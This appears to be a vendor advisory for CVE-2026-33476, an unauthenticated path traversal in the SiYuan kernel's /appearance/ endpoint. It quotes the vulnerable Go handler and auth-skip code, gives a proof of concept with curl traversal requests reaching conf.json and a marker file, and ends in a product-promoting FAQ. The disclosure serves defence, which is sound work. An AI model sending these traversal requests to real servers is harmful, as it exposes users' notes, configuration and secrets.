CVE-2026-33476

The Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/filepath.*
Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.

Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.

Details

Vulnerable Code Location

File: kernel/server/serve.go

siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
    filePath := filepath.Join(
        appearancePath,
        strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
    )
    ...
    c.File(filePath)
})

Technical Root Cause

The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.

Key issues:

1. Unsanitized User Input

The path component extracted from the request is not validated or normalized to prevent traversal.

strings.TrimPrefix(c.Request.URL.Path, "/appearance/")

This preserves sequences such as:

../
..\ (Windows)

2. Unsafe Path Joining

filepath.Join() does not enforce directory confinement.

This escapes the intended directory.

3. Direct File Serving

The resolved path is served without verification:

c.File(filePath)

Authentication Bypass (Unauthenticated Access)

Authentication middleware explicitly skips /appearance/ requests.

File: session.go

if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
    c.Next()
    return
}

This allows attackers to access the vulnerable endpoint without a session or token.

Exploitation Scenario

A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.

Example request:

GET /appearance/../../data/conf.json HTTP/1.1
Host: target

Because authentication is bypassed, the attack requires no credentials.

PoC

Step 1, Create marker file

mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt

Step 2, Run SiYuan container

docker run -d \
  -p 6806:6806 \
  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan \
  --workspace=/siyuan/workspace

Step 3, Confirm service works

Open in browser:

http://127.0.0.1:6806

Exploit PoC

Method A, using CURL command

Use --path-as-is so curl does NOT normalize ../.

curl -v --path-as-is \
  "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"

Output

HTTP/1.1 200 OK
POC_EXPLOITED

Method B, Using Browser

http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt

If method B is not working, use method A, which is CURL command to do the exploit

An unauthenticated attacker can read arbitrary files accessible to the server process, including:

• Workspace configuration files
• User notes and stored data
• API tokens and secrets
• Local system files (depending on permissions)

This may lead to:

• Sensitive information disclosure
• Credential leakage
• Further compromise through exposed secrets

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-33476 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-33476? CVE-2026-33476 is a high-severity path traversal vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 0.0.0-20260317012524-fe4523fff2c8. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-33476? CVE-2026-33476 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-33476? github.com/siyuan-note/siyuan/kernel (go) versions <= 0.0.0-20260317012524-fe4523fff2c8 is affected.
4. Is there a fix for CVE-2026-33476? No fixed version is listed for CVE-2026-33476 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33476 exploitable, and should I be worried? Whether CVE-2026-33476 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33476 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33476? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.